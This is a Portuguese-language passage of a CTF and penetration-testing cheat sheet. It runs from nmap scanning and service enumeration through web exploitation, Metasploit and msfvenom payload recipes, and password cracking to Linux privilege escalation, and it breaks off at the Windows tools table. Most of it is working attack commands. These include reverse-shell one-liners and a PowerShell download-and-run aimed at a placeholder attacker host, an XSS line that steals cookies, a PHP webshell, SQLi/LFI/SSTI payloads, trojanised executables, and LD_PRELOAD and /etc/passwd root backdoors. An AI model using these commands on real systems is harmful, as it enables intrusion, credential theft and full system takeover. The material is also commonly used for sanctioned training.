88	Kerberos	`krb5-enum-users --script-args krb5-enum-users.realm=DOM.LOCAL`	usuários válidos do AD
1433	MSSQL	`ms-sql-info`, `ms-sql-ntlm-info`, `ms-sql-empty-password`, `ms-sql-dump-hashes`	versão, hostname, sa sem senha
3306	MySQL	`mysql-info`, `mysql-empty-password`, `mysql-users`, `mysql-databases`	root sem senha
3389	RDP	`rdp-enum-encryption`, `rdp-ntlm-info`	hostname/domínio
5900	VNC	`vnc-info`, `realvnc-auth-bypass`, `vnc-title`	VNC sem senha
6379	Redis	`redis-info`	Redis aberto
9200	Elastic	`http-title` + `curl $IP:9200/_cat/indices`	índices com dados
27017	MongoDB	`mongodb-info`, `mongodb-databases`	banco sem auth
todas	genéricos	`banner`, `vulners`, `fingerprint-strings`	banner cru de serviço desconhecido

2.15 NSE de força bruta

```
nmap -p22 --script ssh-brute --script-args userdb=users.txt,passdb=senhas.txt,brute.firstonly=true $IP
nmap -p21 --script ftp-brute $IP
nmap -p445 --script smb-brute $IP
nmap -p3306 --script mysql-brute $IP
nmap -p80 --script http-form-brute --script-args 'http-form-brute.path=/login.php,http-form-brute.uservar=user,h ↩
    ttp-form-brute.passvar=pass' $IP
nmap -p80 --script http-wordpress-brute $IP
```

Args comuns de brute: `userdb`, `passdb`, `brute.firstonly=true` (para no 1º acerto), `brute.threads=5`, `unpwdb.timelimit=5m`. Para brute "de verdade", o Hydra (seção 6.6) é mais rápido.

2.16 Receitas prontas de CTF

Versão simples (o que a maioria usa no dia a dia):

```
sudo nmap -v -sV -sC -Pn $IP -oA scan
#   -sV  = descobre a versão de cada serviço (ex.: vsftpd 2.3.4)
#   -sC  = roda os scripts NSE padrão (ftp-anon, http-title, smb-os-discovery...)
#   -Pn  = não desiste se o alvo não responder ping
#   -v   = mostra cada porta assim que acha
#   -oA  = salva scan.nmap, scan.xml (usado pelo searchsploit/cve_lookup) e scan.gnmap
```

> ATENÇÃO: Sem `-p` o nmap olha só as 1000 portas mais comuns. Em CTF é comum o serviço vulnerável estar numa porta alta (ex.: 31337, 50000, 8888). Por isso vale rodar **depois** um `sudo nmap -v -p- -Pn $IP` (todas as portas) em outra janela. O `--min-rate 5000` é só para esse `-p-` terminar em ~1 minuto em vez de 15+. Se você não quiser usar, tudo bem - só demora mais.

Versão completa (em etapas):

```
# 1) Descobrir portas rápido (todas)
sudo nmap -v -p- --min-rate 5000 -Pn -n --open -oA 01_all $IP
# 2) Pegar só as portas abertas numa variável
ports=$(grep -oP '\d+/open' 01_all.gnmap | cut -d/ -f1 | paste -sd,); echo $ports
# 3) Detalhar só elas (versão + scripts default + SO)
sudo nmap -v -p$ports -sCV -O -Pn -oA 02_detail $IP
# 4) Vulns nas abertas
sudo nmap -p$ports -sV --script "vuln and not dos" -Pn -oA 03_vuln $IP
# 5) UDP principais
sudo nmap -sU --top-ports 25 --open -Pn -oA 04_udp $IP
# 6) Exploits para as versões encontradas
searchsploit --nmap 02_detail.xml ; python3 cve_lookup.py --nmap 02_detail.xml
```

2.17 Descoberta de hosts e scanners alternativos

```
sudo arp-scan -l                          # rede local, muito rápido
sudo netdiscover -r 10.10.10.0/24         # ARP
fping -agq 10.10.10.0/24                  # lista só os vivos
nxc smb 10.10.10.0/24                     # acha Windows + nome + domínio + SMB signing
rustscan -a $IP --ulimit 5000 -- -sCV     # varre tudo em segundos e passa as portas pro nmap
sudo masscan -p1-65535 $IP --rate 10000 -e tun0
naabu -host $IP -p - -silent              # (ProjectDiscovery)
```

3. Enumeração por serviço

FTP (21)

```
ftp $IP                   # user: anonymous  senha: (vazio ou qualquer e-mail)
ftp> ls -la ; binary ; mget *   # 'binary' evita corromper zip/imagem
wget -m --no-passive ftp://anonymous:anonymous@$IP     # baixa tudo
nmap -p21 --script ftp-anon,ftp-vsftpd-backdoor $IP    # vsftpd 2.3.4 = backdoor clássico
```

SSH (22)

```
ssh user@$IP ; ssh -i id_rsa user@$IP           # chave: chmod 600 id_rsa
ssh2john id_rsa > h ; john h --wordlist=/usr/share/wordlists/rockyou.txt   # chave com senha
hydra -l user -P rockyou.txt ssh://$IP -t 4      # -t 4: SSH derruba conexões em excesso
```

> DICA: OpenSSH < 7.7 permite enumerar usuários (CVE-2018-15473). Versões 8.5p1–9.7p1 em glibc: regreSSHion (CVE-2024-6387) - PoC é instável, raramente é o caminho de um CTF.

SMTP (25)

```
nc $IP 25 ; VRFY root ; EXPN admin
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
```

DNS (53)

```
dig axfr @$IP dominio.ctf          # zone transfer: revela TODOS os hosts
dig any dominio.ctf @$IP
dnsrecon -d dominio.ctf -n $IP -a
```

HTTP/HTTPS (80, 443, 8080, 8443...)

Ver seção 4 inteira.

SMB (139/445)

```
nxc smb $IP                                 # SO, nome, domínio, signing, SMBv1
nxc smb $IP -u '' -p '' --shares            # null session
nxc smb $IP -u 'guest' -p '' --shares       # guest (muitas vezes funciona quando null não)
nxc smb $IP -u '' -p '' --rid-brute         # usuários via RID cycling
smbclient -L //$IP/ -N                      # listar shares
smbclient //$IP/share -N                    # entrar; 'recurse on; prompt off; mget *'
smbmap -H $IP -u guest                      # permissões por share (READ/WRITE)
enum4linux-ng -A $IP                        # tudo de uma vez
nmap -p445 --script smb-vuln-ms17-010 $IP   # EternalBlue
```

SNMP (161/udp)

```
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP
snmpwalk -v2c -c public $IP                  # tudo
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25    # usuários Windows
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2   # processos (às vezes com senha no argumento!)
snmp-check $IP
```

NFS (2049)

```
showmount -e $IP
sudo mount -t nfs $IP:/share /mnt/nfs -o nolock
# no_root_squash: como root na Kali, crie binário SUID no share e execute no alvo
```

LDAP (389) / Kerberos (88) - Active Directory

```
ldapsearch -x -H ldap://$IP -s base namingcontexts
ldapsearch -x -H ldap://$IP -b "DC=dominio,DC=local" "(objectClass=user)" sAMAccountName description
# descrição de usuário com senha é clássico de CTF
```

Bancos de dados

```
mysql -h $IP -u root -p                      # tente root sem senha
mssqlclient.py sa:senha@$IP -windows-auth    # Impacket; dentro: enable_xp_cmdshell ; xp_cmdshell whoami
psql -h $IP -U postgres
redis-cli -h $IP ; INFO ; CONFIG GET dir     # Redis sem senha → escrever chave SSH / webshell
mongosh "mongodb://$IP:27017"
```

RDP (3389) / WinRM (5985) / VNC (5900)

```
xfreerdp /u:user /p:'senha' /v:$IP /cert:ignore +clipboard /dynamic-resolution
nxc winrm $IP -u user -p senha               # "(Pwn3d!)" = pode logar
evil-winrm -i $IP -u user -p 'senha'         # ou -H <NThash>
vncviewer $IP::5900
```

4. Web - fuzzing, diretórios e vulnerabilidades

4.1 SecLists - wordlists (instale e decore os caminhos)

- Repositório: github.com/danielmiessler/SecLists
- Instalação: `sudo apt install seclists` → fica em `/usr/share/seclists/`
- Sem apt: `git clone --depth 1 https://github.com/danielmiessler/SecLists.git`
- rockyou: `/usr/share/wordlists/rockyou.txt` (descompacte com `sudo gunzip rockyou.txt.gz`)

Uso	Caminho em /usr/share/seclists/	Link
Diretórios (rápida)	`Discovery/Web-Content/common.txt`	abrir
Diretórios (média, a melhor custo/benefício)	`Discovery/Web-Content/raft-medium-directories.txt`	abrir
Arquivos	`Discovery/Web-Content/raft-medium-files.txt`	abrir
Diretórios (grande)	`Discovery/Web-Content/directory-list-2.3-medium.txt`	abrir
Parâmetros GET/POST	`Discovery/Web-Content/burp-parameter-names.txt`	abrir
API endpoints	`Discovery/Web-Content/api/api-endpoints.txt`	pasta
Subdomínios / VHOST	`Discovery/DNS/subdomains-top1million-5000.txt`	abrir
LFI	`Fuzzing/LFI/LFI-Jhaddix.txt`	pasta
Usuários	`Usernames/xato-net-10-million-usernames.txt`	pasta
Credenciais padrão	`Passwords/Default-Credentials/`	pasta
Senhas comuns	`Passwords/Common-Credentials/10k-most-common.txt`	pasta
Community SNMP	`Discovery/SNMP/common-snmp-community-strings.txt`	pasta

Outras: `/usr/share/wordlists/dirb/common.txt`, `/usr/share/wordlists/dirbuster/` e Assetnote wordlists para APIs.

4.2 Primeiro olhar (2 minutos)

```
whatweb -a 3 http://$IP                # tecnologia, versão, CMS
curl -skI http://$IP                   # headers: Server, X-Powered-By, cookies
curl -s http://$IP | grep -iE '<!--|password|admin|api|\.js'
curl -s http://$IP/robots.txt ; curl -s http://$IP/sitemap.xml
nikto -h http://$IP                    # barulhento, mas acha config padrão
```

No navegador: Ctrl+U (fonte), F12 → Network/Storage (cookies, JWT, localStorage), extensão **Wappalyzer**.

4.3 ffuf - o canivete do fuzzing

Flag	Significado
`-u URL`	palavra-chave `FUZZ` marca onde injetar (pode estar em path, parâmetro, header)
`-w lista[:KW]`	wordlist; com `:KW` você usa várias (`-w users:U -w pass:P`)
`-e .php,.bak`	extensões extras
`-X POST` / `-d 'a=FUZZ'`	método e corpo
`-H 'Header: v'`	header (vhost, cookie, auth)
`-mc` / `-fc`	match/filtra status
`-fs` / `-fw` / `-fl`	filtra por tamanho / nº de palavras / nº de linhas
`-ac`	auto-calibra filtros (resolve soft-404)
`-recursion -recursion-depth 2`	entra nos diretórios achados
`-t 50` / `-rate 100`	threads / req por segundo
`-x http://127.0.0.1:8080`	passa pelo Burp
`-o out.json -of json`	salva

```
# diretórios + extensões
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e ↩
    .php,.txt,.bak -ac
# arquivos dentro de um diretório achado
ffuf -u http://$IP/admin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -ac
# VHOST (subdomínio virtual) - filtre o tamanho da página padrão
ffuf -u http://$IP -H "Host: FUZZ.alvo.ctf" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt ↩
    -ac
# parâmetro escondido
ffuf -u "http://$IP/index.php?FUZZ=../../../../etc/passwd" -w ↩
    /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -ac
# valor de parâmetro (IDOR: id=1..1000)
ffuf -u "http://$IP/user?id=FUZZ" -w <(seq 1 1000) -ac
# brute de login (POST)
ffuf -u http://$IP/login -X POST -d "user=admin&pass=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" ↩
    -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -fs 1234
```

4.4 gobuster, feroxbuster, dirsearch

```
# gobuster - modos: dir | dns | vhost | fuzz
gobuster dir -u http://$IP -w <lista> -x php,txt,html -t 50 -k -b 404,403
#   -x extensões | -t threads | -k ignora TLS | -b status a ignorar | -s status a mostrar
gobuster vhost -u http://alvo.ctf -w <subdominios> --append-domain
gobuster dns -d alvo.com -w <subdominios>

# feroxbuster - recursivo por padrão
feroxbuster -u http://$IP -w <lista> -x php,txt -d 2 -k --filter-status 404
#   -d profundidade | -n sem recursão | --dont-scan /assets

# dirsearch - lista própria, bom para começar
dirsearch -u http://$IP -e php,txt,bak
```

4.5 Burp Suite (fluxo mínimo)

1. Proxy → Open browser (navegador já configurado)
2. Navegue no site, depois **Target → Site map** mostra tudo que foi descoberto
3. Botão direito → **Send to Repeater** (Ctrl+R): edita e reenvia
4. **Intruder**: fuzz em um campo (Sniper) ou brute user+senha (Cluster bomb)
5. Salve uma requisição (botão direito → Copy to file) para usar no `sqlmap -r req.txt`

4.6 Vulnerabilidades web - testes rápidos

SQL Injection

```
# teste manual: ' " ') ")  -- se der erro SQL ou mudar a resposta, investigue
' OR 1=1-- -          admin'-- -          ' UNION SELECT NULL,NULL-- -
sqlmap -u "http://$IP/item.php?id=1" --batch --dbs
sqlmap -u "http://$IP/item.php?id=1" --batch -D db -T users --dump
sqlmap -r req.txt --batch --level 3 --risk 2          # requisição salva do Burp (POST, cookies)
sqlmap -u "URL" --batch --os-shell                    # se o DBA tiver privilégio
```

Flag sqlmap	Significado
`--batch`	aceita respostas padrão (não fica perguntando)
`--dbs` / `-D x --tables` / `-T y --dump`	listar bancos / tabelas / despejar
`-r req.txt`	usa requisição crua do Burp
`-p param`	testar só esse parâmetro
`--level 1-5` / `--risk 1-3`	profundidade dos testes
`--forms --crawl=2`	acha formulários sozinho
`--tamper=space2comment`	contornar filtro/WAF

LFI / Path Traversal

```
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd              (filtro que remove ../ uma vez)
?page=php://filter/convert.base64-encode/resource=index.php   (lê o código-fonte PHP)
?page=/var/log/apache2/access.log   + User-Agent: <?php system($_GET['c']); ?>   (log poisoning → RCE)
Arquivos úteis: /etc/passwd, /home/USER/.ssh/id_rsa, /proc/self/environ, /var/www/html/config.php
Windows: C:\Windows\win.ini, C:\inetpub\wwwroot\web.config
```

Command Injection

```
; id    | id    || id    && id    `id`    $(id)    %0aid
Sem saída na tela? teste com tempo: ; sleep 5   ou envie para você: ; curl http://<KALI>/$(whoami)
```

SSTI (Server-Side Template Injection)

```
Detectar: {{7*7}}  ${7*7}  <%= 7*7 %>  #{7*7}   -> se aparecer 49, é template injection
Jinja2 (Flask) RCE: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Ferramenta: sstimap -u "http://$IP/?name=x"
```

Upload de arquivo

- Troque a extensão: `.php5`, `.phtml`, `.phar`, `.php.jpg`, `.pHp`
- Troque o `Content-Type` para `image/png` no Burp
- Adicione magic bytes no início: `GIF89a;` antes do `<?php ... ?>`
- Webshell mínima: `<?php system($_GET['c']); ?>` → `/uploads/shell.php?c=id`
- Webshells prontas no Kali: `/usr/share/webshells/` (php, aspx, jsp)

Outros que aparecem em CTF

Vuln	Teste
IDOR	trocar `id=5` por `id=1`; ffuf com `seq`
JWT	jwt.io decodifica; `alg: none`; segredo fraco: `hashcat -m 16500 jwt.txt rockyou.txt` / `jwt_tool`
XXE	`<!DOCTYPE x [<!ENTITY a SYSTEM "file:///etc/passwd">]><r>&a;</r>`
SSRF	`url=http://127.0.0.1:PORTA/` , `http://169.254.169.254/` (cloud)
XSS	`<script>alert(1)</script>`, `<img src=x onerror=alert(1)>`; roubar cookie: `fetch('http://<KALI>/?c='+document.cookie)`
.git exposto	`git-dumper http://$IP/.git ./repo` → `git log -p`
Credencial padrão	admin:admin, admin:password, tomcat:s3cret, root:root; procure "<produto> default credentials"
CMS	`wpscan --url http://$IP -e ap,u --plugins-detection aggressive` / `droopescan scan drupal -u URL` / `joomscan -u URL`
Varredura por template	`nuclei -u http://$IP` (milhares de checagens de CVE/config)

5. Pesquisa de CVE e exploits

Fluxo: versão exata (nmap `-sV`, banner, página "About", headers, rodapé) → pesquisar → ler o PoC → testar `check` → explorar.

```
searchsploit vsftpd 2.3.4                # busca local no Exploit-DB
searchsploit -w webmin 1.910             # mostra link do exploit-db.com
searchsploit -x 49757                    # abre/lê o exploit (ID)
searchsploit -m 49757                    # copia para a pasta atual
searchsploit --nmap scan.xml             # cruza todas as versões do nmap
searchsploit -u                          # atualiza a base
python3 cve_lookup.py --nmap scan.xml    # seu script (NVD + KEV)
nmap -sV --script vulners $IP            # CVEs pela versão
nuclei -u http://$IP -severity critical,high
msfconsole -q -x "search cve:2019-15107; exit"
```

Fonte	Para quê
exploit-db.com	exploits verificados (é o que o searchsploit usa)
nvd.nist.gov	CVE oficial, CVSS, versões afetadas
cisa.gov KEV	CVEs exploradas de verdade
sploitus.com	agrega exploits + PoCs do GitHub
vulners.com	busca CVE + exploit
GitHub	`"CVE-XXXX-YYYY" poc` - **leia o código antes de rodar**
cvedetails.com	CVEs por produto/versão
HackTricks	book.hacktricks.wiki - metodologia por serviço/porta
PayloadsAllTheThings	github.com/swisskyrepo/PayloadsAllTheThings - payloads por vulnerabilidade

CVEs clássicas que caem em CTF (vale decorar):

Serviço	CVE / nome	Ferramenta
vsftpd 2.3.4	backdoor `:)` no usuário	msf `unix/ftp/vsftpd_234_backdoor`
SMBv1 Windows 7/2008	MS17-010 EternalBlue	msf `windows/smb/ms17_010_eternalblue`
Windows XP/2003 SMB	MS08-067	msf `windows/smb/ms08_067_netapi`
Apache 2.4.49/2.4.50	CVE-2021-41773 / 42013 path traversal → RCE	`curl --path-as-is`
Webmin ≤ 1.920	CVE-2019-15107	msf `linux/http/webmin_backdoor`
Apache Struts2	CVE-2017-5638	msf `multi/http/struts2_content_type_ognl`
Log4j	CVE-2021-44228 Log4Shell	`${jndi:ldap://<KALI>:1389/a}`
Bash CGI	CVE-2014-6271 Shellshock	`User-Agent: () { :; }; /bin/bash -c 'id'`
Drupal 7/8	CVE-2018-7600 Drupalgeddon2	msf `unix/webapp/drupal_drupalgeddon2`
Tomcat	credencial padrão no /manager	upload de `.war` do msfvenom
Jenkins	Script Console sem auth	`println "id".execute().text`
polkit pkexec	CVE-2021-4034 PwnKit	privesc Linux
sudo	CVE-2021-3156 Baron Samedit	privesc Linux
Linux 5.8–5.16	CVE-2022-0847 DirtyPipe	privesc Linux
Windows Print Spooler	CVE-2021-34527 PrintNightmare	privesc/RCE
AD DC	CVE-2020-1472 Zerologon	`nxc smb DC -M zerologon` (destrói a conta do DC - evite em CTF compartilhado)

6. Exploração

6.1 Metasploit

```
sudo msfdb init              # banco (uma vez) - habilita 'db_nmap', 'hosts', 'services'
msfconsole -q
```

Comando	Função
`search type:exploit name:smb` / `search cve:2021-44228`	buscar módulo
`use 0` / `use exploit/...`	selecionar
`info` / `show options` / `show payloads` / `show targets`	ver detalhes
`set RHOSTS $IP` / `set LHOST tun0` / `set LPORT 4444`	configurar (LHOST aceita nome da interface!)
`setg LHOST tun0`	define para todos os módulos
`check`	diz se o alvo parece vulnerável (Vulnerable/Appears/Safe/Unknown) sem explorar. **Não mostra versão** - para versão use nmap `-sV` ou `auxiliary/scanner/*/*_version`
`run` / `exploit -j`	executar / em background
`sessions` / `sessions -i 1` / `sessions -u 1`	listar / entrar / upgrade shell→meterpreter
`background` (ou Ctrl+Z)	sai da sessão sem fechar
`db_nmap -sV $IP`	nmap salvando no banco

Meterpreter - essenciais: `sysinfo`, `getuid`, `shell`, `upload`/`download`, `hashdump`, `getsystem`, `ps` + `migrate <PID>`, `load kiwi` → `creds_all`, `portfwd add -l 8080 -p 80 -r 127.0.0.1`, `run post/multi/recon/local_exploit_suggester` (sugere privesc!).

6.2 msfvenom - geração de payloads

Sintaxe: `msfvenom -p <payload> LHOST=<KALI> LPORT=<PORTA> -f <formato> -o <arquivo>`

Flag	Significado
`-p`	payload (lista: `msfvenom -l payloads`)
`LHOST=` / `LPORT=`	para onde a shell volta (reverse)
`RHOST=`	alvo, em payloads bind
`-f`	formato de saída (lista: `msfvenom -l formats`)
`-o`	arquivo de saída
`-a x64` / `--platform windows`	arquitetura / plataforma (normalmente inferidas do payload)
`-e x86/shikata_ga_nai -i 3`	encoder + iterações (serve para remover bad chars, **não** para evadir AV moderno)
`-b '\x00\x0a'`	bad chars a evitar (exploits de buffer overflow)
`-x putty.exe -k`	usa um executável legítimo como template
`--list-options`	mostra opções do payload escolhido
`EXITFUNC=thread`	não derruba o processo hospedeiro ao sair

Staged x Stageless (erro nº 1 de quem "não volta a shell"):

Tipo	Exemplo	Listener
Staged (barra `/` entre partes)	`windows/x64/shell/reverse_tcp`	**obrigatório** `exploit/multi/handler`
Stageless (underline `_`)	`windows/x64/shell_reverse_tcp`	`nc -lvnp` funciona
Meterpreter	`windows/x64/meterpreter/reverse_tcp`	só `multi/handler`

Receitas por cenário:

```
# Windows executável
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f exe -o rev.exe
# Windows serviço (trocar binário de serviço vulnerável)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f exe-service -o svc.exe
# Windows MSI (AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f msi -o rev.msi
# Windows DLL (DLL hijacking)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f dll -o hijack.dll
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f elf -o rev.elf
# Web: PHP / ASPX (IIS) / JSP / WAR (Tomcat manager)
msfvenom -p php/reverse_php LHOST=$KALI LPORT=4444 -f raw -o rev.php
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f aspx -o rev.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$KALI LPORT=4444 -f raw -o rev.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$KALI LPORT=4444 -f war -o rev.war
# Shellcode para PoC em Python/C (ex.: buffer overflow)
msfvenom -p windows/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f python -b '\x00' EXITFUNC=thread
```

Listener multi/handler (one-liner):

```
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; \
set LHOST tun0; set LPORT 4444; set ExitOnSession false; run -j"
```

6.3 Reverse shells

Listener: `rlwrap nc -lvnp 4444` (rlwrap dá setas/histórico) ou penelope (upgrade automático). Gerador: **revshells.com** - escolhe IP/porta/linguagem e copia.

```
bash -c 'bash -i >& /dev/tcp/<KALI>/4444 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <KALI> 4444 >/tmp/f     # nc sem -e
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<KALI>",4444));[os.dup2(s.fileno(),f) for f ↩
    in(0,1,2)];pty.spawn("/bin/bash")'
php -r '$s=fsockopen("<KALI>",4444);exec("sh <&3 >&3 2>&3");'
nc -e /bin/sh <KALI> 4444            # só netcat tradicional
# Windows: nc.exe do Kali (/usr/share/windows-resources/binaries/nc.exe)
nc.exe -e cmd.exe <KALI> 4444
# Windows PowerShell: Nishang (/usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1)
#   adicione no final do .ps1: Invoke-PowerShellTcp -Reverse -IPAddress <KALI> -Port 4444
powershell -ep bypass -c "IEX(iwr http://<KALI>/Invoke-PowerShellTcp.ps1 -UseBasicParsing)"
```

> DICA: Num campo de URL/parâmetro, codifique: `bash -c 'bash -i >%26 /dev/tcp/...'` ou mande o payload em base64: `echo <b64> | base64 -d | bash`.

6.4 Upgrade de shell (TTY completa)

```
python3 -c 'import pty; pty.spawn("/bin/bash")'     # ou: script -qc /bin/bash /dev/null
# Ctrl+Z  (manda a shell para background)
stty raw -echo; fg                                  # na Kali (zsh: tudo na mesma linha!)
export TERM=xterm; export SHELL=bash
stty rows 50 columns 200                            # veja os seus com: stty size (na Kali)
```

Agora Ctrl+C não mata a shell, tem autocomplete e dá pra usar vim/su.

6.5 Transferência de arquivos

De → Para	Comando
Servir da Kali	`python3 -m http.server 80` (na pasta do arquivo)
Linux baixa	`wget http://<KALI>/f -O /tmp/f` / `curl http://<KALI>/f -o /tmp/f`
Windows baixa	`certutil -urlcache -f http://<KALI>/f.exe f.exe` / `iwr http://<KALI>/f -OutFile f`
SMB (Windows)	Kali: `impacket-smbserver share . -smb2support` → alvo: `copy \\<KALI>\share\f.exe .`
Alvo → Kali	Kali: `nc -lvnp 9001 > out` / alvo: `nc <KALI> 9001 < arquivo`
Upload HTTP	Kali: `pip install uploadserver; python3 -m uploadserver` / alvo: `curl -F files=@arq http://<KALI>:8000/upload`
Sem nada	`base64 -w0 arq` → copia → `echo ... | base64 -d > arq`; confira `md5sum`
SSH	`scp arq user@$IP:/tmp/`

6.6 Ataques de senha

Hydra (online)

Flag	Significado
`-l user` / `-L users.txt`	um usuário / lista
`-p senha` / `-P lista`	uma senha / lista
`-C user:pass.txt`	lista combinada
`-t 4`	tarefas paralelas
`-f`	para no primeiro acerto
`-V`	mostra cada tentativa
`-s 2222`	porta não padrão
`-e nsr`	testa senha vazia (n), igual ao user (s), user invertido (r)

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://$IP -t 4 -f
hydra -l admin -P rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid" -f
#   formato: "caminho:corpo_com_^USER^_^PASS^:F=texto_que_aparece_quando_ERRA"
hydra -l admin -P rockyou.txt ftp://$IP
nxc smb $IP -u users.txt -p 'Senha@2026' --continue-on-success   # password spray
```

Hash cracking (offline)

```
hashid 'HASH' ; hash-identifier ; nth --text 'HASH'      # identificar tipo
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt ; john --show hash.txt
hashcat -m <modo> hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule   # com regras
# converter arquivo protegido em hash:
zip2john f.zip > h ; rar2john ; ssh2john id_rsa ; keepass2john db.kdbx ; office2john doc.docx ; pdf2john f.pdf
unshadow /etc/passwd /etc/shadow > h ; john h --wordlist=rockyou.txt
```

Modo hashcat	Tipo	Exemplo
0	MD5	32 hex
100	SHA1	40 hex
1400	SHA256	64 hex
500	md5crypt	`$1$...`
1800	sha512crypt (Linux)	`$6$...`
3200	bcrypt	`$2y$...`
1000	NTLM	32 hex (Windows)
5600	NetNTLMv2	do Responder
13100	Kerberoast	`$krb5tgs$23$...`
18200	AS-REP roast	`$krb5asrep$23$...`

Modo hashcat	Tipo	Exemplo
16500	JWT	`eyJ...`
22000	WPA	`.hc22000`

Online e rápido: crackstation.net (MD5/SHA1/NTLM sem salt). Wordlist customizada: `cewl http://$IP -d 2 -m 5 -w site.txt` (palavras do próprio site).

7. Privilege Escalation - Linux

7.1 Ferramentas automáticas

```
# LinPEAS (o mais completo) - no CTF o alvo normalmente NÃO tem internet: sirva da Kali
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh   # na Kali
python3 -m http.server 80
curl http://<KALI>/linpeas.sh | sh                  # no alvo, sem gravar em disco
./linpeas.sh -a 2>&1 | tee lp.txt                   # -a: checks completos (mais lento)
# pspy - vê processos/cron de root sem ser root
./pspy64 -pf -i 1000
# LES - sugere exploit de kernel
./linux-exploit-suggester.sh
# lse.sh - níveis de verbosidade: ./lse.sh -l 1
```

Vermelho/amarelo no LinPEAS = 95% de chance de privesc.

7.2 Manual - em ordem de probabilidade

```
sudo -l                                     # 1. SEMPRE primeiro
find / -perm -4000 -type f 2>/dev/null      # 2. SUID
getcap -r / 2>/dev/null                     # 3. capabilities
cat /etc/crontab; ls -la /etc/cron.*        # 4. cron
id                                          # 5. grupos (docker, lxd, disk, adm)
ls -la /etc/passwd /etc/shadow              # 6. permissões erradas
cat ~/.bash_history; find / -name "*.bak" 2>/dev/null   # 7. credenciais
ss -tlnp                                    # 8. serviços internos
uname -a                                    # 9. kernel (último recurso)
```

7.3 Explorando o que achou

sudo / SUID - sempre consulte gtfobins.github.io (filtro "Sudo" ou "SUID").

```
sudo vim -c ':!/bin/sh'               sudo find . -exec /bin/sh \; -quit
sudo less /etc/hosts  →  !/bin/sh      sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os;os.system("/bin/sh")'      sudo env /bin/sh
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo git -p help config  →  !/bin/sh   sudo perl -e 'exec "/bin/sh";'
# nmap moderno (o --interactive NÃO existe mais):
TF=$(mktemp); echo 'os.execute("/bin/sh")' > $TF; sudo nmap --script=$TF
# SUID: mesmo binário, mas com -p para manter o EUID
/usr/bin/find . -exec /bin/sh -p \; -quit           /usr/bin/bash -p
```

sudo com LD_PRELOAD (`env_keep+=LD_PRELOAD` no `sudo -l`)

```
cat > /tmp/x.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void _init(){ unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so <qualquer_comando_permitido>
```

Capabilities

```
# python com cap_setuid+ep
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# tar/cat com cap_dac_read_search → ler /etc/shadow ou /root/.ssh/id_rsa
```

Cron gravável / wildcard

```
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /caminho/script.sh   # espera o cron
/tmp/rb -p
# cron com "tar czf backup.tgz *" num diretório gravável (wildcard injection):
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > s.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh s.sh'
```

PATH hijack (binário SUID/cron chama `service` ou `curl` sem caminho absoluto - veja com `strings binario`)

```
echo '/bin/bash -p' > /tmp/service; chmod +x /tmp/service
export PATH=/tmp:$PATH; ./binario_suid
```

/etc/passwd gravável

```
openssl passwd -1 -salt x senha123          # gera hash
echo 'r00t:$1$x$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su r00t
```

Grupos

```
# docker
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# lxd/lxc: importar imagem alpine, montar / do host em /mnt/root (ver HackTricks "lxd privesc")
# disk: debugfs /dev/sda1  →  cat /root/root.txt
# adm: ler /var/log/* (senhas em logs)
```

NFS no_root_squash: na Kali como root, monte o share, `cp /bin/bash /mnt/share/; chmod +s /mnt/share/bash`; no alvo `/share/bash -p`.

8. Privilege Escalation - Windows

8.1 Ferramentas automáticas

Ferramenta	Uso
winPEAS	`.\winPEASx64.exe` (ou `winPEAS.bat` se exe bloqueado) - a mais completa
PowerUp	`. .\PowerUp.ps1; Invoke-AllChecks` - serviços, registro, DLL hijack
SharpUp	`.\SharpUp.exe audit` - PowerUp em C# (quando PowerShell é restrito)
Seatbelt	`.\Seatbelt.exe -group=all` - situational awareness
PrivescCheck	`. .\PrivescCheck.ps1; Invoke-PrivescCheck`
